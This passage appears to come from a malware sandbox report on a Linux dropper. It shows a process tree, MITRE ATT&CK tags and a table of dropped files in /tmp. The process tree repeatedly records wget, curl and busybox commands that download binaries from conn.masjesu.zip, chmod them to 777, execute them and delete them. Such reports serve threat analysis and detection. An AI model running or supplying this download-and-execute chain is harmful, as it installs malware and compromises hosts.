- /bin/rm
  rm xFTsdteKF2Ez0mDLNiYcd4gKSwsrcUDg5w
  2⤵
  PID:973
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/9NozAb6qLX2QYbXl9bvaxLOKmsarG0tm7h
  2⤵
  - System Network Configuration Discovery
  PID:974
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/9NozAb6qLX2QYbXl9bvaxLOKmsarG0tm7h
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:975
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/9NozAb6qLX2QYbXl9bvaxLOKmsarG0tm7h
  2⤵
  - System Network Configuration Discovery
  PID:977
- /bin/chmod
  chmod 777 9NozAb6qLX2QYbXl9bvaxLOKmsarG0tm7h
  2⤵
  - File and Directory Permissions Modification
  PID:978
- /tmp/9NozAb6qLX2QYbXl9bvaxLOKmsarG0tm7h
  ./9NozAb6qLX2QYbXl9bvaxLOKmsarG0tm7h
  2⤵
  - Executes dropped EXE
  PID:979
- /bin/rm
  rm 9NozAb6qLX2QYbXl9bvaxLOKmsarG0tm7h
  2⤵
  PID:980
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/n9t10kNT5zqKUch87uPTuruLzFDdN68pi6
  2⤵
  PID:981
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/n9t10kNT5zqKUch87uPTuruLzFDdN68pi6
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:982
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/n9t10kNT5zqKUch87uPTuruLzFDdN68pi6
  2⤵
  - System Network Configuration Discovery
  PID:984
- /bin/chmod
  chmod 777 n9t10kNT5zqKUch87uPTuruLzFDdN68pi6
  2⤵
  - File and Directory Permissions Modification
  PID:985
- /tmp/n9t10kNT5zqKUch87uPTuruLzFDdN68pi6
  ./n9t10kNT5zqKUch87uPTuruLzFDdN68pi6
  2⤵
  - Executes dropped EXE
  PID:986
- /bin/rm
  rm n9t10kNT5zqKUch87uPTuruLzFDdN68pi6
  2⤵
  PID:987
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/goap6sfO6ohn3vD8BQc6RykzJ1AR6X2IP2
  2⤵
  - System Network Configuration Discovery
  PID:988
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/goap6sfO6ohn3vD8BQc6RykzJ1AR6X2IP2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:989
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/goap6sfO6ohn3vD8BQc6RykzJ1AR6X2IP2
  2⤵
  - System Network Configuration Discovery
  PID:991
- /bin/chmod
  chmod 777 goap6sfO6ohn3vD8BQc6RykzJ1AR6X2IP2
  2⤵
  - File and Directory Permissions Modification
  PID:992
- /tmp/goap6sfO6ohn3vD8BQc6RykzJ1AR6X2IP2
  ./goap6sfO6ohn3vD8BQc6RykzJ1AR6X2IP2
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:993
- /bin/rm
  rm goap6sfO6ohn3vD8BQc6RykzJ1AR6X2IP2
  2⤵
  PID:994
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/gGRLrtCk9alMAu4sHwdsemlKGCBd2Zzqnp
  2⤵
  - System Network Configuration Discovery
  PID:995
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/gGRLrtCk9alMAu4sHwdsemlKGCBd2Zzqnp
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:996
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/gGRLrtCk9alMAu4sHwdsemlKGCBd2Zzqnp
  2⤵
  - System Network Configuration Discovery
  PID:998
- /bin/chmod
  chmod 777 gGRLrtCk9alMAu4sHwdsemlKGCBd2Zzqnp
  2⤵
  - File and Directory Permissions Modification
  PID:999
- /tmp/gGRLrtCk9alMAu4sHwdsemlKGCBd2Zzqnp
  ./gGRLrtCk9alMAu4sHwdsemlKGCBd2Zzqnp
  2⤵
  - Executes dropped EXE
  PID:1000
- /bin/rm
  rm gGRLrtCk9alMAu4sHwdsemlKGCBd2Zzqnp
  2⤵
  PID:1001
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/GMNCkJOUgO8lQfb8GlSX0jW1buUtxs4gsg
  2⤵
  - System Network Configuration Discovery
  PID:1002
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/GMNCkJOUgO8lQfb8GlSX0jW1buUtxs4gsg
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1003
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/GMNCkJOUgO8lQfb8GlSX0jW1buUtxs4gsg
  2⤵
  - System Network Configuration Discovery
  PID:1005
- /bin/chmod
  chmod 777 GMNCkJOUgO8lQfb8GlSX0jW1buUtxs4gsg
  2⤵
  - File and Directory Permissions Modification
  PID:1006
- /tmp/GMNCkJOUgO8lQfb8GlSX0jW1buUtxs4gsg
  ./GMNCkJOUgO8lQfb8GlSX0jW1buUtxs4gsg
  2⤵
  - Executes dropped EXE
  PID:1007
- /bin/rm
  rm GMNCkJOUgO8lQfb8GlSX0jW1buUtxs4gsg
  2⤵
  PID:1008
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/FTC9ggUebisbSCbFXzXkaDsiLGxRguJACv
  2⤵
  PID:1009
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/FTC9ggUebisbSCbFXzXkaDsiLGxRguJACv
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1010
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/FTC9ggUebisbSCbFXzXkaDsiLGxRguJACv
  2⤵
  - System Network Configuration Discovery
  PID:1012
- /bin/chmod
  chmod 777 FTC9ggUebisbSCbFXzXkaDsiLGxRguJACv
  2⤵
  - File and Directory Permissions Modification
  PID:1013
- /tmp/FTC9ggUebisbSCbFXzXkaDsiLGxRguJACv
  ./FTC9ggUebisbSCbFXzXkaDsiLGxRguJACv
  2⤵
  - Executes dropped EXE
  PID:1014
- /bin/rm
  rm FTC9ggUebisbSCbFXzXkaDsiLGxRguJACv
  2⤵
  PID:1015

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

2iW2lhCfINN8uGqrHf46OfEE2BxKIG0FD3

Path /tmp/2iW2lhCfINN8uGqrHf46OfEE2BxKIG0FD3
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/2iW2lhCfINN8uGqrHf46OfEE2BxKIG0FD3	747	2iW2lhCfINN8uGqrHf46OfEE2BxKIG0FD3
/tmp/TO0yPjU4fnILral424LuRxxhOtRlcihIwe	799	TO0yPjU4fnILral424LuRxxhOtRlcihIwe
/tmp/zYXytvGca7fYpZobQ6nH9KDH6NE4GrplQm	839	zYXytvGca7fYpZobQ6nH9KDH6NE4GrplQm
/tmp/f2VuBYe37POENPxFHHYkHYhKCHFJDUqa7Z	846	f2VuBYe37POENPxFHHYkHYhKCHFJDUqa7Z
/tmp/xFTsdteKF2Ez0mDLNiYcd4gKSwsrcUDg5w	853	xFTsdteKF2Ez0mDLNiYcd4gKSwsrcUDg5w
/tmp/9NozAb6qLX2QYbXl9bvaxLOKmsarG0tm7h	860	9NozAb6qLX2QYbXl9bvaxLOKmsarG0tm7h
/tmp/n9t10kNT5zqKUch87uPTuruLzFDdN68pi6	867	n9t10kNT5zqKUch87uPTuruLzFDdN68pi6
/tmp/gGRLrtCk9alMAu4sHwdsemlKGCBd2Zzqnp	874	gGRLrtCk9alMAu4sHwdsemlKGCBd2Zzqnp
/tmp/GMNCkJOUgO8lQfb8GlSX0jW1buUtxs4gsg	881	GMNCkJOUgO8lQfb8GlSX0jW1buUtxs4gsg
/tmp/FTC9ggUebisbSCbFXzXkaDsiLGxRguJACv	888	FTC9ggUebisbSCbFXzXkaDsiLGxRguJACv
/tmp/goap6sfO6ohn3vD8BQc6RykzJ1AR6X2IP2	895	goap6sfO6ohn3vD8BQc6RykzJ1AR6X2IP2
/tmp/CN94rbmIi14uywjCMptfXfxKsgTF7mn0id	902	CN94rbmIi14uywjCMptfXfxKsgTF7mn0id
/tmp/VptdVTtl9AxwL6BWU76EpYRpkPRqQa8tw9	909	VptdVTtl9AxwL6BWU76EpYRpkPRqQa8tw9
/tmp/82gB4WF6T0mwHTpWIkpgXMvgzmErgm8Dq0	916	82gB4WF6T0mwHTpWIkpgXMvgzmErgm8Dq0
/tmp/CN94rbmIi14uywjCMptfXfxKsgTF7mn0id	923	CN94rbmIi14uywjCMptfXfxKsgTF7mn0id
/tmp/VptdVTtl9AxwL6BWU76EpYRpkPRqQa8tw9	930	VptdVTtl9AxwL6BWU76EpYRpkPRqQa8tw9
/tmp/82gB4WF6T0mwHTpWIkpgXMvgzmErgm8Dq0	937	82gB4WF6T0mwHTpWIkpgXMvgzmErgm8Dq0
/tmp/f2VuBYe37POENPxFHHYkHYhKCHFJDUqa7Z	944	f2VuBYe37POENPxFHHYkHYhKCHFJDUqa7Z
/tmp/2iW2lhCfINN8uGqrHf46OfEE2BxKIG0FD3	951	2iW2lhCfINN8uGqrHf46OfEE2BxKIG0FD3
/tmp/TO0yPjU4fnILral424LuRxxhOtRlcihIwe	958	TO0yPjU4fnILral424LuRxxhOtRlcihIwe
/tmp/zYXytvGca7fYpZobQ6nH9KDH6NE4GrplQm	965	zYXytvGca7fYpZobQ6nH9KDH6NE4GrplQm
/tmp/xFTsdteKF2Ez0mDLNiYcd4gKSwsrcUDg5w	972	xFTsdteKF2Ez0mDLNiYcd4gKSwsrcUDg5w
/tmp/9NozAb6qLX2QYbXl9bvaxLOKmsarG0tm7h	979	9NozAb6qLX2QYbXl9bvaxLOKmsarG0tm7h
/tmp/n9t10kNT5zqKUch87uPTuruLzFDdN68pi6	986	n9t10kNT5zqKUch87uPTuruLzFDdN68pi6
/tmp/goap6sfO6ohn3vD8BQc6RykzJ1AR6X2IP2	993	goap6sfO6ohn3vD8BQc6RykzJ1AR6X2IP2
/tmp/gGRLrtCk9alMAu4sHwdsemlKGCBd2Zzqnp	1000	gGRLrtCk9alMAu4sHwdsemlKGCBd2Zzqnp
/tmp/GMNCkJOUgO8lQfb8GlSX0jW1buUtxs4gsg	1007	GMNCkJOUgO8lQfb8GlSX0jW1buUtxs4gsg
/tmp/FTC9ggUebisbSCbFXzXkaDsiLGxRguJACv	1014	FTC9ggUebisbSCbFXzXkaDsiLGxRguJACv